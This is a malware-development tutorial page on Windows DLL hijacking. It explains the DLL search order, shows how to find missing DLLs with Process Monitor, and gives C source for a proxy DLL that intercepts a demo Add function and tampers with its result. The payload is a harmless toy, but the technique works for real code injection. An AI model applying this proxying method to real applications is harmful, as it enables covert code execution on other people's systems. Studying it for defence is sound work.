DLL Hijacking

MalDev

Hijacking opportunity if an application doesn't specify the full path to a required DLL

The default DLL search order used by the system depends on whether Safe DLL Search Mode is activated. Default setting: Enable

With this mode enabled, applications search for necessary DLL files in the following sequence:

  1. The directory from which the application is loaded.

  2. The system directory.

  3. The 16-bit system directory.

  4. The Windows directory.

  5. The current directory.

  6. The directories that are listed in the PATH environment variable.

However, if 'Safe DLL Search Mode' is deactivated, the search order changes to:

  1. The directory from which the application is loaded.

  2. The current directory.

  3. The system directory.

  4. The 16-bit system directory.

  5. The Windows directory

  6. The directories that are listed in the PATH environment variable

Use procmon to solely include main.exe

Filter for an Operation of Load Image to only get the libraries the app is loading.

Proxying

Create a new library that will load the function Add from library.dll, tamper with it, and then return it to main.exe.

  1. Create a new library: We will create a new library serving as the proxy for library.dll. This library will contain the necessary code to load the Add function from library.dll and perform the required tampering.

  2. Load the Add function: Within the new library, we will load the Add function from the original library.dll. This will allow us to access the original function.

  3. Tamper with the function: Once the Add function is loaded, we can then apply the desired tampering or modifications to its result. In this case, we are simply going to modify the result of the addition, to add + 1 to the result.

  4. Return the modified function: After completing the tampering process, we will return the modified Add function from the new library back to main.exe. This will ensure that when main.exe calls the Add function, it will execute the modified version with the intended changes.

// tamper.c
#include <stdio.h>
#include <Windows.h>

#ifdef _WIN32
#define DLL_EXPORT __declspec(dllexport)
#else
#define DLL_EXPORT
#endif

typedef int (*AddFunc)(int, int);

DLL_EXPORT int Add(int a, int b)
{
    // Load the original library containing the Add function
    HMODULE originalLibrary = LoadLibraryA("library.o.dll");
    if (originalLibrary != NULL)
    {
        // Get the address of the original Add function from the library
        AddFunc originalAdd = (AddFunc)GetProcAddress(originalLibrary, "Add");
        if (originalAdd != NULL)
        {
            printf("============ HIJACKED ============\n");
            // Call the original Add function with the provided arguments
            int result = originalAdd(a, b);
            // Tamper with the result by adding +1
            printf("= Adding 1 to the sum to be evil\n");
            result += 1;
            printf("============ RETURN ============\n");
            // Return the tampered result
            return result;
        }
    }
    // Return -1 if the original library or function cannot be loaded
    return -1;
}

Rename library.dll to library.o.dll, and rename tamper.dll to library.dll.

Running main.exe

Invalid Libraries

Result filter set to NAME NOT FOUND to observe binaries searching for their lost DLLs.

See References

PowerSploit

See References

Tools

Resources

Last updated